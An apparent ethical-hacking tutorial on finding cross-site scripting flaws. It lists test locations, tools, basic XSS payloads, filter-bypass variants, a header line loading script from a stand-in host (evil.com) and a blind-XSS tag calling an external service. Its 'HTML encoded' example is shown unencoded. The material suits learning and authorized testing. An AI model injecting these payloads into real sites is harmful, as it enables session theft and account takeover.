How to Find XSS Vulnerabilities: A Step-by-Step Guide for Ethical Hackers
Introduction
Cross-Site Scripting (XSS) remains one of the most prevalent web application vulnerabilities, appearing in OWASP Top 10 for years. This guide will teach you how to identify XSS vulnerabilities like a professional security researcher.
What is XSS?
XSS occurs when an attacker injects malicious scripts into content that’s then served to other users. These scripts execute in the victim’s browser, allowing attackers to:
- Steal session cookies
- Perform actions as the victim
- Deface websites
- Redirect to malicious sites
Types of XSS
| Type | Description | Example |
|---|---|---|
| Stored XSS | Malicious script is permanently stored on the target server | Comment section injection |
| Reflected XSS | Script is reflected off a web server in response | Search results reflection |
| DOM-based XSS | Vulnerability exists in client-side code | URL fragment manipulation |
Where to Look for XSS Vulnerabilities
XSS can appear in any user-controllable input that gets rendered in the browser. Key locations to check:
1. URL Parameters
Test every parameter in URLs:
http://example.com/search?query=TEST_XSS
2. Form Inputs
Check all form fields including hidden inputs:
- Search boxes
- Contact forms
- Login/registration forms
- File upload names
3. HTTP Headers
Some applications reflect headers:
User-Agent: <script>alert(1)</script>
Referer: http://evil.com/xss.js
Tools for Finding XSS
1. Burp Suite
The industry-standard web proxy for manual testing:
- Intercept requests with Proxy
- Send to Repeater to modify and test
- Use Intruder for payload fuzzing
2. XSS Hunter
Free service that provides blind XSS detection:
<script src=https://xss.ht></script>
3. Dalfox
Powerful CLI XSS scanner:
dalfox url "http://example.com/search?q=test" --skip-greppingEssential XSS Payloads
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Bypassing Common Filters
1. Case Manipulation
<ScRiPt>alert(1)</sCrIpT>
2. Encoding
<script>alert(1)</script> // HTML encoded
3. JavaScript Events
autofocus onfocus=alert(1) //
Analyzing Responses
Look for:
- Where your input appears in the response
- What characters get encoded/filtered
- Context of your input (HTML, JS, attribute)
Conclusion
Finding XSS requires patience and creativity. Always:
- Test thoroughly
- Document your findings
- Report responsibly
